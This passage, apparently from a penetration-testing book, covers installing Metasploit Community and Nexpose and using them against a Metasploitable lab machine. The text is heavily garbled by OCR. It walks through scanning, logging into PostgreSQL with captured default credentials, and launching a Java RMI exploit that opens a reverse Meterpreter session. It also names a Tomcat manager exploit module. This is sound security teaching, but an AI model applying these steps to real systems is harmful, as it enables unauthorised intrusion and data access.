Zenmap, and install services, but it doesn't stop there. It also maps
these ports and services to existing exploits in Metasploit and existing
modules. From there you can literally exploit a vulnerability straight
away using Metasploit. Let's see how we can use it, and it will
become clearer what it can be used for.

The tool is not included in Kali Linux. We need to download it from .
We will also need

to use our email address because we will need the product activation
key, which they'll

send to the email that we enter when we download. Once we
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download this, we're going to

navigate to our using the command to change directory. If we do to
list

the current files, we will be able to see that we have the installer

file downloaded. The first thing we need to do is to change

the permissions to an executable so that we can execute this file. To
change the permissions

in Linux, you use the command, and then we will put in the
permissions that we

want to set, which is executable,

is

command, which is as follows: , and we are going to put the filename,
which . Now, we will launch the

chmod +x metasploit-latest-linux-x64-installer.run And if We dO We Wi" See that there iS teXt that
will be highlighted in green, which means that it's an executable:

. ~# cd Downloads/
:~/Downloads# 1s
metasploit-latest-1 x64-installer.run

: ~/Downloa chmod +x metasploit-latest-linux-x64-installer.run
: ~/Downl s# s
metasploit-latest-linux-x64-installer. run

To run any executable in Linux all we have to do is type in and enter
the filename. The file will run this executable for us. Now, we will just
run through the process.

The installation is very simple:

1. First, we click on | accept the agreement, and then we click
Forward. We then select where we want to install it:
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Setup e O -

License Agreement @

Please read the following License Agreement. You must accept the terms ol
this agreement before continuing with the installation.
RAPID7 END USER LICENSE AGREEMENT

RAPID7 LLC OR RAPID INTERNATIONAL LIMITED (AS APPLICABLE, “RAPIDT") I
IS WILLING TO PROVIDE CERTAIN SERVICES TO YOU AS THE INDIVIDUAL,

THE COMPANY, OR THE LEGAL ENTITY (REFERENCED BELOW AS “YOU" OR
“YOUR" OR “CUSTOMER") THAT ENTERS INTO A WRITTEN QUOTATION,

WORK ORDER, STATEMENT OF WORK OR SIMILAR DOCUMENT WITH RAPID7
THAT REFERENCES THESE TERMS AND CONDITIONS {HERINAFTER, THIS
“AGREFFMERMT™I ORIY M THE CORMDITION THAT Y0l ACCEPT Al I NF THF ¥
@ | accept the agreement

() | do not accept the agreement

Do you accept this license?

InstallBuilder

I. Back || Fonﬂ.fargj || Elancel |

It will say that the folder is not empty if we already have Metasploit
there. If we want to reinstall it we are just going to call it metasploit2.

2. It will ask us whether we want to start Metasploit as a service every
time the machine starts. We can pick Yes or No. | prefer to pick No,
but you can set it to Yes. Then the Metasploit Ul will start
automatically every time your computer starts. Click on Forward:
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Setup [— I < ]

Install as a service @

You can optionally register Metasploit as a service. This way it will
automatically be started every time the machine is started.

Install Metasploit as a service?

) Yes

@® No

InstallBuilder

| Back || Forward || Cancel |

3. Then it's going to ask us for the SSL Port that will be used.
Because the service runs as a web GUI, we can set that to anything
we want, but we are going to leave it as :
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Setup e 0

Metasploit Service @

Please enter the port that the Metasploit service will use.

SSL Port |EJER

InstallBuilder

|. Back ||.F0rward || Cancel

|4. And then
it's asking us for the Server Name, and we are going to keep it as
because it's being installed on our :

Setup @ O
Generate an SSL Certificate @

Please provide the fully qualified domain name of this system below (e.q.
mctasploit.example.com). A certificate is gencrated for a specific server
name and web browsers will alert users if the name does not match.

Server Name | |

Days of validity | 3650

Should the generated certificate be added to the operating system's
trusted store?

¥ Yes, bust certificate

| Back | Forward | Cancel .|

5. Database Server port; again keep this the same, don't change it.
Then there is the thin cluster port; again, keep this the same, . These
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are all configurations for the program to run. We don't really need to
mess with them. Only change them if you already installed the
program and it won't let you have the same port, but usually it should
keep them the same:

Setup

Database Server Parameters

Please enter the port af your database,

Database Server port 7237 [

6. Now, it's saying it's ready to install. Once you press Forward it will
install it for you and it will ask you for a username and a password for
the web interface. Set that as well, pick a username and a password,
and the process will finish up smoothly.

Now, once we finish the installer we want to run the service. Because
it's going to be installed as a service, as a web server, when we want
to use Metasploit Community we will have to run it using the service
in Linux. We enter

command, the same way we run any

to start that service. Once the service has started, all we have to do is
go to a browser and navigate to . Make sure to put not , and then we
enter the port that Metasploit runs on, which is . Press Enter. Now it's
asking us to log in. We log in using the username and password that
we picked while we installed the program, and then we will be able to
use it. We'll be talking about logging in and using the tool in the next
section.

MSFC scan
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Now, we are going to log in using the username and password that
we set when we installed the tool. As we can see in the following
screenshot, we have a web interface for using the tool:

;‘l rmetasploit

P et g

roject Listing

Now, we can access the account and go to our user settings or log
out. We can also check for software updates.

The first time we log in, it will ask us to enter the activation key. The
activation key will be sent as an email to the email address that we
put when we downloaded the tool. Make sure you put a valid email
address when you download the tool.

We're going to start a scan, and we are going to click on Project |
New Project. We are going to call this project , we are going to leave
the Description empty, and then it's asking us for a Network range.
We can set that the same way we did with Zenmap. We can set it to a
range. It actually has a range that is within our subnet at the moment.
It's up to . We can scan the whole network for vulnerabilities and
exploits but for now, we're not going to do that; we're only going to
target , which is the Metasploitable machine.
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Now, we are going to click on Create Project. The following
screenshot shows all the parameters we discussed:

Project Setlings

Now, the project has been created and we're going to start a scan on
it. We are going to go on the Scan button on the left side of the
screen and click that. We can just launch the scan like this, or we can
go on Show Advanced Options to set some advanced options. If we
have a range, we can use the exclude address to exclude some IPs.
For example, if we were targeting the whole network from to , we can
exclude our computer by just typing , which is our IP, to exclude it
from the search. You can also put a custom Nmap argument because
Metasploit will actually use Nmap to get the services and the installed
applications. We can add additional TCP ports or take away TCP
ports. Again, we can do the same. We can even set the speed. We
also have the UDP service discovery. It actually discovers the service
that's installed on the port. We can also set credentials. If the target
computer uses some sort of authentication then we can set it up, but
our target doesn't use any of that, so we're fine. We can also set a tag
for the target computer, or for the target scan. Now, we are not going
to mess with these settings. Keep everything the same to keep it
simple, and we are going to launch the scan. Give it some time to do
the scan, and once this is over we'll see how we can analyze and
discover, and see what we can do with the discovered information.
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MSFC analysis

The scan process is over. It will nearly take two minutes, and it will
discover one new host, because we only had one host, with 33 new
services installed on it. Now, we're going to go back and click on my
Metasploitable machine to see what we have discovered. We can see
in the following screenshot it has found 33 services and also it
managed to detect one vulnerability:

Project - metas ploftabie + Aecount - rakd ¥ Admimkiration v 7

';] metasploit’

Analysin Senniom Campaigrs Wb Apps Madubes Credentiak Reparts Enports Tasks

- I
Overview - Project metasploitable

Discovery Penetration

Braetose O Explon

Evidence Collection Cleanup

Recent Evenis

Go to Analysis | Hosts, and we will that see that we have our host
here, and it has been scanned correctly. It's a VMware, it's a server,
and it's running on Linux 8.04:
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M| 1 loi Aceount - rald ¥ Adminitration v 7
1 metasploit
¥ Overview Arabysi Sessionm  Campaigna Wb Apps Moduls  Credentik  Reports  Exports To o
¥ see "] ‘A O~ Q
L] =
Dot - i OFtRA | POATED SRS
s = [ scomed |
|
0 - | !

If we click on the IP, we will see in the following screenshot. The first
thing that we see is the installed services:

Praject - metssplofiabls v

P Azcount-psid v Adminktrstion v 7
(@ metasploit
Overview  Amalsim  Sessioms  Campaigm  WebApps  Modulms  Crederdnk  Raports  Export Task
9 ™ Braeforce ) Explon

10.0.2.4 @

N e

NAME -
T 1 > M

We can see the NAME of the service, for example, dns, running on
port ; the PROTO, which means the protocol is udp; it's an open port;
and also we have the SERVICE INFORMATION.
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You can switch through pages using the arrow buttons at the bottom-
right of the page. It will show same results as Nmap, just with a better
GUI. The Sessions tab is where we see the connections. If we
exploited anything, we will see them in the sessions. The GUI looks
like this:

M metasploit

The Vulnerabilities tab will show you the vulnerabilities that have
been discovered. With Nmap, we only got the services. In
Metasploitable, it actually maps if it finds a vulnerability, and if
Metasploit has an exploitation for that vulnerability it will actually show
it to us. We can click on it and get more information about the
vulnerability. The Credentials tab will show you if there are any
interesting credentials that the program managed to find. We can see
in the following screenshot that it's managed to find the username
and the password for PostgreSQL, which is postgres. It's a weak
password, and that is the password for the admin. If we click on the
key icon under

the VALIDATE column it will validate it for us, turning the status to
Validated in the VALIDATION column:
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E! metasploit

Now, we can use the preceding information. We can go ahead and
connect to the SQL database here using this information, using the
username postgres and the password postgres. Let's look at a
quick example of this. We are going to our Terminal in Kali and we're
going to use the command that you used to connect to SQL, to
PostgreSQL. It's . Put the IP that we want to connect to after the
option. The command is as follows:

psql -h 10.0.2.4 postgres

Then, we enter the username. Now, it will ask for the password, and
we're going to enter the password that we captured, which is
postgres. We will be logged in to the database. We can run any SQL
command now on the target computer. SQL is the language that is
used to communicate with databases. \We not going to go into too
much detail here, just that we managed to capture a username and a
password for a database, and the database we can communicate
with using the SQL language. We can run the

command just as an example. We can see that it selected our , which
is also called . Just a quick example to show that the captured data is
correct; in Metasploit, in the Captured Data tab, there is no captured
data from the file or from the target computer. But on Notes, we will
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see some interesting notes, some of them about the HTTP requests
for some of the methods that we use. We can go through the notes,
which can be useful for the information gathering process.

The File Shares tab will show us any files being shared from the
target computer. The Attempts tab will show you the attempts that
we did on the target computer, and the Modules tab will show us the
modules that can be used to exploit any found vulnerabilities. We
have a vulnerability called the Java RMI Server, and we have a
module to discover the Java RMI Server vulnerability. We're going to
launch Exploit: Java RMI Server Insecure Default Configuration
Java Code Execution, and we will do this launch straight from the
tool. We're just going to click on Launch. It will allow us to run the
exploit from within Metasploit Community. is the module name; do ,
set the , set the , set the , and then , the same way that we did it
before in . Alternatively, we can let Metasploit Community do all the
work for us. We can see that it already picked the target address
correctly, and we are going to set the connection to Reverse, and we
are going to keep the Payload Type as Meterpreter. Now, we can
choose the command shell as we can see in the following
screenshot, which is what we used before, and Meterpreter is just a
different type of payload that we'll talk about later. Now, we are just
going to run the module by clicking on Run Module:
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B 3

Generic (Java Payload)

Meterpreter v 1024-65535

Reverse ¥

1099

As we can see in the following screenshot, the module did run and
the output is very similar to what you get from the Metasploit console,

and it says that session 1 is open. It has already created a session for
us. Now, we can communicate with it:
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E! metasploit

We can see the Session tab as seen in the preceding screenshot. It
has the number 1. If we click on that we will see that, we have a
session open and it's on the Metasploitable machine, or on the
Metasploitable project, and it used the Java RMI Server. If we click on
that session we will see all the things that we can do on that
computer. Now, we can use Collect System Data to get some
sensitive data, but we won't be able to use that because it's all for the
Pro version, and we have the Community version. We can use
Access Filesystem, and we can literally have a web-based file
browser. We can browse through the files of the target computer. Or
we can just get a Command Prompt for the Meterpreter, like what we
used to get before. If we go to Command shell by going to the
previous page, we will see that we have a Meterpreter command
shell that allows us to use the Meterpreter payload.

Now, we are going to study the Meterpreter payload and how to use it
in the postexploitation, but we are just going to see that we have full
access to the target computer from here and that we are able to do
whatever we want to do on it. Metasploit did everything through the
browser. We didn't have to go and run Metasploit and manually
configure the payload and the exploit. Now, there is one last thing that
we will see, which is the Modules tab. Some of these modules don't
have to give us full access. Some of them can only be used to do a
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denial of service, and some of them are code execution
vulnerabilities, but they might not work. We can try them and see if
they work. We can click on them and run them from within the
computer.

In the gathering module, it doesn't exploit anything. It just allows us to
upload files, and some of them give us a Meterpreter session. Just
click on it, and we can run it from within the web interface. The tool
also offers other features, such as the Web Apps feature, which
scans for web apps. We can just go to report options, where we can
create a report of the findings of everything that has been found, but
the problem is these features are limited to the Pro edition. We can't
really use them unless we pay for the program.

Installing Nexpose

In this section, we will discuss a tool called Nexpose. Nexpose is
made by Rapid?. It's made by the same people that made Metasploit
and Metasploit Community, and it's similar to Metasploit Community
in the sense that it has a web GUI and it allows us to discover,
assess, and act on discovered vulnerabilities. It also maps these
vulnerabilities to existing exploits, but the difference is Metasploit
Community only showed us exploits that can be used within
Metasploit, whereas Nexpose actually shows us exploits that have
been published somewhere other than Rapid7 and Metasploit. It
works on a larger scale, it shows us more vulnerabilities, and it also
helps us to create a report at the end of the scan so that we can
share it with the technical people, and a high-level small report that
can be shared with the managers. It also helps us create schedule
scans. Suppose, for example, we have a company, or we are working
on a big infrastructure and we want to do regular scans every week or
every month; we can do that using this tool.

Let's see how to install it and run it, and the differences will become
more clear:

1. Nexpose doesn't come pre-installed in Kali Linux; we have to install
it manually. To download it you need to download it from
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. It'll ask you to fill in your name and address. Fill it in and download it.
We will download the Community version, which is free. The first
thing we are going to do before we can install it is stop the
PostgreSQL service that comes it installed with, or that is running in
Kali Linux. Just launch the command, which will stop the SQL
service.

2. Usually, when we run the Terminal we won't be in the directory. We
will need to change our directory to the directory using the command.
Once we're in the directory we can list all the available files, and we
will find the

setup file. We need to change the permissions of this to an
executable. If you have already changed the permissions, that's when
it will appear in green if we do the command. Let's first use the
command to change the permissions so that we can execute that file.
The command will be ; is the file that we want to change the
permission of; for us it's . Here is the command:

chmod +x Rapid7Setup-Linux64.bin

3. Now to run this installer. To run an executable in Linux systems, all
we have to do is type then enter the file that you want to run. For us,
it's . The command will be as follows:

.IRapid7Setup-Linux64.bin

An installer will pop up, as seen in the following screenshot:
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Installer - Rapid7 Vulnerability Management 6.5.24 e 0

Welcome to the Rapid7 Installation Wizard

RAPID

Rapid7 Vulnerahility Management reduces vour organization's risk by
dynamically collecting data and analvzing risk across vulnerabilities,

« Welcome configurations and controls from the endpoint to the cloud. Qur vulnerahbility
management platform is engineered to enable IT security teams to identify,
assess and respond to critical change as it happens.

License agreement

Type and destination

S Rapid? Inc
Requirements :
http:ffwww_rapid7.com
Account details info@rapid7.com
Shartcut location +1.866.7RAPIDT (Toll Free)

Confirm selections e B S T

Installation progress
Console details

Installation success

Cancel

4. Now, all we have to do is click Next, and then it will ask us to
accept the agreement. We are going to install the console with the
scan engine. We might come across a problem. Nexpose is only
compatible with Kali 2. If we want to go ahead with this, we're going
to modify two files on our local system to make our system look like
Kali 2 so that the installer will let us install it on our system. But if you
don't face this issue, then you can just click Next at this point, but we
will just go through the steps and modify two files to make my system
look like Kali 2.

5. Follow these steps only if you get an error saying your system is
not compatible:
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Click on Finish. The file that contains the instructions that we need to
change the version of our system to Kali 2 .The two files that need to
be changed are and . We are going to open two tabs, one for each
file, and the first one is in the

directory, and it's called . Before we modify the file, we are actually
going to copy it and store a backup of it, because after we finish this
step we are going to restore it to the way it was.

We are going to create a new folder, and we are going to call it , and
we will paste the file in the folder. After we do that we are going to
modify the file according to the instructions. We are going to open it
with Leafpad, and we are going to copy all of the content, save it, and
quit. We are going to do the same with the next file, which is , which
is stored in . We are going to copy the file and put it in our folder.
Then we are going to modify the code as per the instructions.

OK, once everything is done, we are going to go back and run the
installer again, and it should think that we have Kali 2 installed and
proceed through the installation.

6. Scroll down, click Accept, the Next, and we will see that the
software thinks that we have Kali 2, so it will let us proceed through
the installation.

7. Now, the port is already set to and we are going to click on Next:

T.me/nettrain



Installer - Rapid7 Vulnerability Management 6.5.24 @ 0

RAPID The installer is comparing your system settings to required settings

Installation requirements
/1, 7,984 MB RAM was detected. 8,192 MB RAM is recornmended.

Welcome
HEleme See the list of supported versions.

License agreement Recommended and supported configurations can be found here.

Type and destination <# SELinux is not active.
* Requirements <« Software is not running.

Account details < Access to external networks was detected.
Shortcut location < Part 3780 is available.

Confirm selections

Installation progress Database port

Console details Enter the number far the port that the database will listen an:

Installation success 5437 0 Y

The port number is valid.

7. Now, we are going to put First Name, Last Name, and the
Company. It will ask us to put the port for the database that's going
to be used with Nexpose:

T.me/nettrain



Installer - Rapid7 Vulnerability Management 6.5.24 e 0

RAPID Create your account information

User details: This information will be used for generating S5L certificates, and it
will be included in requests to Technical Support.

Welcome First name: Last name:

License agreement | ||
Type and destination

Company:
Requirements |

* Account details

Letters, numbers, spaces, and the characters - + & & . _ ' only. All fields are required.
Shortcut location

Caonfirm selections Credentials: Choose secure credentials and remember them. You will need them

Ietaliatioh pragress to perform configuration steps after completing the installation.

Console details User name: |root | L

Installation success

Password: Confirm the password:
[— | o I#**t****l | o
Strength: EE—— e (3p0d

Require password reset upon login? [

The passwords match.

8. Make sure we don't check the box that is shown in the following
screenshot. We will have a lot of issues if we check this box during
installation; it basically should start Nexpose once the installation is
over, but we are not going to check it. We will just go to install it and
then start it later when we want to use it. We are not going to check
this box, make sure it's unchecked. And that's it, now it's going to
install it for us:
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Installer - Rapid7 Vulnerability Management 6.5.24 e O

RAPID Confirm or change your installation selections

You have selected the following installation location:
foptfrapid7/nexpose

Welcome You have selected the following component(s) to install:

License agreement Security Console, Scan Engine

Type and destination You have entered the following contact information:

Requirements
e rill AR You have created the following user name:
root

Select any additional installation tasks.

Shortcut location

* Confirm selections

’ [ Initialize and start after installation
Installation progress —

Console details

Installation success

9. OK, once the the installation is successful, as we haven't started
Nexpose yet, if we go to then nothing's going to work. We need to run
the command first and then we can can access it. We are going to
talk about that in the next section. For now, we are going to click on
Finish, and we're done:
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Installer - Rapid7 Vulnerability Management 6.5.24 @ 0

RAPID Installation is complete!

Installation is complete!

Welcame 1. If vou chose to start the Security Console as part of the installation,
) then if will bhe started upon installer completion.
License agreement

Type and destination 2. You can log onto the Security Console at https:fflocalhost3780. Use the

; credentials you created during installation.
Requirements

Account details 3. Wait 10 to 30 minutes for the Security Console to initialize during first

i ) time startup depending on your system capahilities.
Shortcut location

Confirm selections
Installation progress To start the service run: sudo systemctl start nexposeconsole service

Console details The Security Console is configured to automatically run at startup. See the

installation guide if you wish to modify start modes.
* Installation success = x fy

Now, we're going to go back and make sure we set our files back to
the way they were. Now, for those of you who haven't modified them,
again sKkip this step; if you did modify them, then make sure to go
back and set them back to the way they were.

Running Nexpose

OK, now that we have installed Nexpose successfully, let's see how
we can run it and see what it is. We've spoken about it a lot and we
went through the installation process, but we still haven't seen what
the tool does. The first thing to do before we can run the tool is to
make sure that the database that comes with Kali Linux is turned off,
because Nexpose uses its own database. If we have both of them
running on the same port, they'll conflict with each other. The first
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thing we're going to do is stop the service; make sure that we have it
in our mind that every time, before we run Nexpose, we turn off our
database. We do it using the same command that we used in
Chapter 10, Gaining Access to Computer Devices. It's , and it will
make sure that the service is stopped.

Now, we're going to navigate to the location where we installed
Nexpose. Unless we changed the location during the installation
process, it should be installed in the directory. The file that runs the
server is stored in the directory called , and the file that we want to
run is called . We run it just the same way we ran the installer before.
As we said before, to run an executable, always use

and then write the name of the executable. It's :

Running this for the first time might take some time. Just let it do its
thing until it runs, and once it finishes loading the framework we'll see
how we can access it and use it. The tool has loaded successfully,
and as you can see, it's telling us that we can navigate to it using the
URL :

WClhttps: /s localhost: 3780/
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What we're going to do now is launch our browser and copy the URL
that it just gave us. Now it's asking us to log in. Log in using the
username and password that you created when you installed the tool:

@D | htps:focalhost: 3780 ogin jsp c Search TH 3+ &£ O =

F Most Visited~ [flOffensive Security s, Kali Linux " Kali Docs "W Kali Tools & Exploit-D8 Wy Aircrack-ng " Kali Forums S NetHunter s Kali Training @ Getting Started

RAPIDF?

Pastword

ssssssss

After logging in successfully, we can see in the following screenshot
that the first thing it asks us to do is to enter the product key:

Activate a new license

You need an active license for scanning and reporting. To activate
automatically over the Internet, use a product key. If you do not have a key

Sautal

Enter a product key:

Use a license file @
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Now, we know this is a free version, and when we downloaded the
tool we had to fill out a form. In that form we put our email address,
and then they send the product key to our email. Go to your email
and get the product key and paste it. After pasting it, click on
ACTIVATE WITH KEY. As we can see, the activation is successful.
It's going to refresh now. As we can see in the following screenshot, it
is just showing us information about the license. Everything is
activated and we're good to go:

RISK AND ASSETS OVER TIME

N/A NiA N/A N/A

SITES

CURRENT SCANS FOR ALL SITES

We are going to go to Home from the left menu. We can see in the
preceding screenshot that everything is empty. It is the home page of
the tool. Before we start talking about what everything means, let's go
ahead and add a target, and then we'll do a test and we'll see
because this stuff will be filled after we do a test. The first thing we
are going to do is click on Create and click on Site to add a target:

T.me/nettrain



Asset Group
Dynamic Asset Group
Report

Site

Tags

We are going to set the Name to : We are going to go to the ASSETS
tab and we're going to add the target. The target can be arranged the
same way we added it when we were doing the network penetration
things with Zenmap. We can add a range, or we can add a specific IP.
In our example, we are actually targeting the Metasploitable machine.
We're going to add our target, which is , and we're going to add this to
a group, and we'll call that , our group name:

e % &

AUTIHICHTICATION ALLRTS SCHCDULE

0 Asset Groups 0 Asset Groups

Now, in the AUTHENTICATION tab, if the target uses some sort of
authentication, nobody can access the target unless they need to
authenticate with some sort of a service, such as an FTP service, a
web HTTP authentication, a Telnet, or an SQL server. We can pick it
from the AUTHENTICATION tab, enter the domain, username, and
password, confirm your password, and that way the framework will be
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able to authenticate with that service and test the security of your
server. Now, our server doesn't use any type of authentication. We
don't need it. Also, if we are targeting a web application that has a
login page, for example for users of Facebook, then we won't have
access to most of Facebook's features unless we log in using a
certain username and a password. Using this feature here, we can
log in and then test the security of our target.

The TEMPLATES tab is where we select the scan type. It's very
similar to the scan type with Zenmap. We've seen in Zenmap we had
a quick scan, quick scan plus, and intense scan. It is the same. Each
one of these profiles is different. It scans different things. For
example, we have the Full audit, which takes a lot of time but pretty
much checks for everything. Then we have Full audit enhanced
logging without Web Spider:

A Web Spider is a tool or a script that finds all the files and directories
in our targets. The default one is the Full audit without Web Spider.
We also have network-specific profiles, and we have web audits as
well. | really encourage you to try most of them, and get familiar with
them.

We're only going to try Full audit enhanced logging without Web
Spider because using them is the same. We will be scanning for
ICMP, TCP, and UDP ports. We are leaving it the same. We are going
to leave the ENGINE tab the same as well, which means it's going to
use the local engine that we installed instead of using the one that is
provided by Rapid7. In the ALERTS tab, we can set up custom alerts
so that when a vulnerability is found, we get a notification. The
SCHEDULE is a really cool feature. Now, say we are working for a
company or for an enterprise that keeps pushing code, new code
every day, or maybe we do a test today and everything we are
working on is good; our web servers, our programs, your applications,
everything is up to date and there's no vulnerabilities in them. Let's
say tomorrow we pushed a new vulnerable code, or maybe tomorrow
someone discovers a new vulnerability with a program that we are
using on our web server. We are not secure any more. This feature
allows us to schedule this test so that it runs every week, or every
hour, or every month, depending on how critical it is. Go into Create
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Schedule and create the schedule. We can set a Start Date, and we
can set the Frequency to Every Day, every Thursday, every 26th,
depending on what we want:

0] ) g % % =

INFO & SFCURITY ARRFTS ATES FHGINFR SCHFDULF

MANAGE SCHEDULES

Set Sean Time @

CREATE SCHEDULE
Enabiled

MANAGE DLACHOUTS

CHEAT E BLACKOUT

Duration Weeks Bays Hours Minules

We create that schedule, and then the scan will run every interval that
we specify, and we can even get it to produce a report for us. When
we can go over the report and see what's changed, or what has been
discovered.

The most important part is that we put our target in the ASSETS tab.
Then we select a template from the TEMPLATES tab. We have both
of these tabs configured, we're going to click on Save and Scan,
which will save this configuration and start a scan for us. As we can
see, our asset discovery is in progress, and after that we will talk
about the results that we got:

Nexpose analysis

Our scan is over and we are on the Assets page, and as we can see
in the following screenshot we have one asset scanned. We can see
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that the asset is running Ubuntu, and the skill that we need to hack
into this asset is Novice:

1 Assets | 148 B 0 ?

jcense Usage 17 512 (0.20%)

ASSET CHARTS

— Assessment Status = jssets by Operating System = Exploitable Assets by Skill Level

SCANNED

Address Namie Site Operating System @ -5 Vulnerabilitics Risk w Assesse d Last Scan Delete

From the preceding screenshot, we can see that Nexpose shows us
much more information than Metasploit Community, and it's a much
more advanced vulnerability management framework.

We can see that we scanned one target, METASPLOITABLE, and
the site is global. It's running on Ubuntu Linux 8.04, and we
discovered no malware,

175 exploits, and 306 Vulnerabilities. Remember that with
Metasploit Community we only discovered 1 exploitable vulnerability
and 8 modules that can be used. Here, we discovered 306
vulnerabilities. We discovered many more vulnerabilities and exploits.
We can see that there is a risk factor, and the last time that the scan
was done. If we scroll down, we can see the OPERATING SYSTEMS
that we discovered. Again, it's Ubuntu Linux 8.04. We can see the
SOFTWARE that is installed on the target computer, not only the
services that's running on ports. We can see actual software installed
on the target computer:
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OPERATING SYSTEMS

Qperating System Proauct Vendor Architeciure INSTANCES ¥

Ubuntu bic 1

SOFTWARE

Program v Class CPL Instances

cpeagnucliba 1.0

cpefagmu b0

Ao e

This can be very useful after we hack the computer. After we've
managed to hack into it, it's very useful to find local exploits that can
be used to increase our privileges. For example, if we manage to, if
we got a normal user and you wanted to become a root, then we can
use a local buffer overflow to increase our privileges or to do other
kinds of stuff. These are very useful in terms of post-exploitation.

If we go down, we'll see the SERVICES that are installed on the
target computer. Just like Nmap gave it to us, we can see that HTTP
is running, DNS, and so on:

SERVICES

Service Name Instances w
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If we click on any of these services we will see more information
about them. For example, with an HTTP service, we have a
description about it, and the ports that it's running on. We can see
that HTTP is running on port and on port :

HyperText Transfer Protocol | View all services

DESCRIPTION

HTTR, the HyperText Transfer Protocol, is used to exchange multimedia content on the World Wide Web. The multimedia files commonly used with HTTP include text, sound,

images and video

ASSETS
Address v Name site Product Pon
TADLL metasploitabic HTTPO2.28 b100
HTTPD2.28
f2 | t'__‘ﬂ Rows per page: 1

Now, let's scroll up, and if we want to have a closer look at the
vulnerabilities we can go to the Vulnerabilities page:

VULNERABILITY CHARTS

= Vulnerabilities by CVSS Score = Exploitable Vulnerabilities by Skill Level

As you can can see in the preceding screenshot, we have a graph
about the vulnerabilities categorized based on their risk factor on the
left, and on the right they're categorized based on the skill level
needed in order to exploit them. As we scroll down, we can see a list
of all of vulnerabilities, and we can switch between them using the
arrows:
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VULNERABILITIES &

Tithe ﬁ 5 Cvss Risk~ Published On Modified On Sevefity Instances Exceplions
993 FnJan 01 1999 Tue Dec 03 2013 Critical 1 @ ix
819 Thu Jan 01 1970 SalJun 242007 Critical 1 @ Ex
b 901 Tue Dec 31 2002 Thu Bug 22 2013 Critical 1 @ Ex
i} B9 Mon New 092009 Frdua 03 2016 Critieal 1 @ e
i BE? FriSep 12 2008 Tt Jul 04 2017 Critical 1@
1 BET FriSep 12 2008 Tue Jul 04 2017 Critical 1 @ i
885 Wed Jul 25 2007 Thu Jul 10 2014 Critical 1 g Ex
BBZ Tue.an 152008 Tue Mov 15 2016 Critical z @ Ex
1 BE1 TueJul 14 2009 Twe Jul 04 2017 Critieal 1@ 6
B79 wedMay 21 2008 Tue Jul 04 2017 Gritical 1@

Again, if there is any malware we will see it under the malware icon,
and if there is an exploitation we will see under the exploit icon. Now,
all of the top vulnerabilities listed don't have an exploitation using a
tool, but they are ordered based on the risk. The listed vulnerabilities
are very risky, and as we proceed through them the risk decreases.
We can see in the preceding screenshot that we discovered that the
VNC password is "password”. We can go in and try to connect
using VNC. VNC is a service that's very similar to Remote Desktop.
Basically, it will show us the desktop and it will allow us to gain full
access to the target computer, just like Remote Desktop. It's telling us
that the password for login is password. It's also telling us that there
is a back door Shell Backdoor Service running, and we used that
already.

Now, let's look at something that can be exploitable. We are going to
click on the exploit icon to order them by the exploit, and we can see
that all of these have an M logo, which means that they can be
exploited using Metaspiloit:
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VULNERABILITIEE @

» Apply Filers (0 applied

Title 2 CVSS Risk Published On Madified On Severity Instances Exceptions
:E 659 MonNovDI 2009  FriJun 03 Z076 GCrinical 1 0 Fx
@ BE67 Fri Apr 17 2009 Tue Jul 04 2017 Severe 1 @ exclud
@ 849 Tue Apr102012 Tue Jul 04 2017 Crivieal 1 @ exclud
E 844 Mon Jul 13 2009 Tue Jul 04 2017 Critical 1 9 xclud
@ B44  Man Jul 13 2009 Tue Jul 04 2017 Critical 1 @ Ex
@ B30 Wed Sep 24 2014 Wed Mar 21 2018 Critical 1 @ Excluss
a 830 TueSep 302014 Tue Sep 30 2074 Critical 1 @ E
M) 758 FriJan 011959 Wed Dec 042013 Critical 1 @6
W 758 FriJan 07 1993 Wed Dec D4 2013 Gritieal 1 @ Ex
@ 732 ThuJun17 2010 Tue Jul 04 2017 Critical 1@

at

As you can see in the preceding screenshot we have the Remote
Shell Service that we can use, and there is the Remote Login
Service that can be used as well, which we have already had a look

. Let's click on something that we haven't seen before, for example,

Default Tomcat User and Password. In the following screenshot we
can see a description of this vulnerability:

Default Tomcat User and Password

RISK SCORE L] MODIFIEL kn3 2016

apache-tomcat-default-passwond PUBLISHED Nov 9,2009 CXPLOITADILIT 39

V35 SCORE L[]

SEVERITY Critical (10} ADDED Eep 1,2010

HP Operalions Manager 8.10 on Windows contains a Thidden account” in Use XML file that specifies Tomcal wsers, which allows remote allackers Lo conduct untesticted file upload altocks, and terely
execute arbitrary code, by using the org.apache catalina. manager. HTMLManagerServiet class to make requests to manager/htmifupload.

Again, we can see the port that it's running on, and you can see why
it thinks that this particular target is vulnerable to this exploit:
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Vulneragie TP 8180 manages/rm

| &=

If we scroll down, it will show you how we can exploit it:

EXPLOITS
Daploit Source Link + Description
Apache Temeat Manager Application Deployer @ Melasploit M. This module con be uaed to exccute o payload on Apache Tomeal servers that have on cxpoacd "manager’ application. The paylead iz

Authenticated Code Drecution uploaded as o WAR archive containing o jsp application using a PUT reguest. The manager application con also be abused using

fmanager/htmi uplood, but that methed is not implemented in this module. NOTC The compatitde payload sets vary based on the
selected target. For exompde. you must select the Windows target to use native Windows payloads.

Apsche Tomcat Manager Authenticated Upload Code [W Metasplait Maod
Frrculion

Tewniczal Apyalicaticn Manager Login ilily @ Meln

Apahe
(Auttientie:

There are three different modules that can be used to exploit it, but it
doesn't really have to exploit it. Sometimes we just see modules that
can be used to verify the existence of this exploit, but basically these
are the modules associated with it. If we click on the Source Link of

any Exploit, it will take us to the Rapid7 page that we used to see
when we Googled stuff:
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& Da hittpes:fivewow rapid7.com/db/ modulesfexploit/multifhttptomcat_mqr_deploy e |0 Search 2N - T

[ Most Visited [l Offensive Security S Kali Linux S Kali Docs S Kali Tools. = Exploit-D8 Wy Aircrack=ng % Kali Forums ', NetHunter " Kali Training @ Getting Started

Back to se.

Apache Torncat Manager Application Deployer Authenticated Code
Execution

This medule can be used to execute a payload on Apache Tomcat servers that have an exposed "manager” application. The payload is uploaded as a WAR archive containing
5P application using a PUT reguest. The manager application can alio be abused using /manager/himlAupicad, but that methed is not implemented in this module, NOTE: T
compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads.

Module Name
exploit/multi/http/tomeat_mgr_deploy Free Metasploit Download
Get your copy of the world's leading penetration testing tool

Authors

jduck =jduck [at] metasploit.coms

References

ZD1-10-214
CWE-M09-3548
CVE-2009-3843
OsVDE-60317
CWE-2009-4189
Q5VDB-50670
CWE-2009-4108
BID-38084
CWE-2010-0857
URL: hitp/faeww- OLibmecomfSsupport doc viesowss 2oid=swg 214191749
CWE-2010-4094
O5VDR-601/5
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We see the Module Name, which we can just copy and paste into
Metasploit, where we can run and then the exploit the same way that

